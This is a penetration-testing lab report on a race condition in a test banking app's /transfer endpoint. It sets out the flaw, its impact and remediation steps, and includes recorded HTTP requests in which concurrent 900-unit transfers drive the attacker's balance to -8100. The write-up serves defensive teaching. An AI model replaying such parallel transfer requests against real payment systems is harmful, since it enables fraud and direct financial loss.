Back to the index

LAB FAIL

Race Condition - Transfer - Balance Check

Race Condition — Transfer — Balance Check

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization · OWASP A04:2021 - Insecure Design

Vulnerability

[FAIL] Race Condition - Transfer - Balance Check

Description

The /transfer endpoint reads the sender's balance, checks that funds are sufficient, then writes the new balance as a separate operation with no atomic database transaction and no row locking. Ten concurrently sent transfer requests all pass the balance check using the same stale value before any write completes (TOCTOU).

Impact

Integrity (Critical): an attacker can send funds far beyond their available balance. In testing, the sender's balance went negative while the recipient's balance increased in full, creating money out of thin air. In a banking system this means direct financial loss and inconsistent accounting.

CWE

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP

A04:2021 - Insecure Design

Scenario

Normal: one transfer within the balance succeeds, and one transfer exceeding the balance is rejected with an insufficient funds message, proving the control works when serialized. Exploitation: ten transfers of 900 each are sent in parallel from a much smaller balance. Impact: the sender's balance becomes negative and the total transferred exceeds the balance ever held.

Endpoint

POST http://127.0.0.1:5001/transfer

Affected feature

Fund transfers between accounts

Remediation

- Perform the balance check and the debit in a single atomic database transaction. - Lock the sender's account row (SELECT ... FOR UPDATE) or use a conditional update UPDATE ... SET balance = balance - x WHERE balance >= x. - Add a CHECK (balance >= 0) constraint on the balance column as a safety net. - Apply an idempotency key and rate limiting to the transfer endpoint.

Proof of concept

  1. (Screenshot 1) NORMAL: a transfer of 100 within the balance -> succeeds.
  2. (Screenshot 2) NORMAL: a transfer of 5000 exceeding the balance -> rejected, the balance control works when serialized.
  3. (Screenshot 3) BASELINE: the attacker's balance before the attack = 900.0.
  4. (Screenshot 4) EXPLOITATION: ten transfers of 900 are sent concurrently -> all are reported successful.
  5. (Screenshot 5) CIA IMPACT: the attacker's balance becomes -8100.0, negative and beyond the funds ever held.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 100}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT

{
  "message": "Transfer Completed",
  "new_balance": 900.0,
  "status": "success"
}
Screenshot
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json

{"to_account": "9159912486", "amount": 5000}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT

{
  "message": "Insufficient funds",
  "status": "error"
}
Screenshot
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT

{
  "account_number": "0932191785",
  "balance": 900.0,
  "status": "success",
  "username": "pentest_attacker"
}
Screenshot
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 900}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT

{
  "message": "Transfer Completed",
  "new_balance": 0.0,
  "status": "success"
}
Screenshot
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT

{
  "account_number": "0932191785",
  "balance": -8100.0,
  "status": "success",
  "username": "pentest_attacker"
}
Screenshot

← Previous case: Path Traversal - Profile Picture - Upload Filename Next case: Security Misconfiguration - CORS - Wildcard Origin →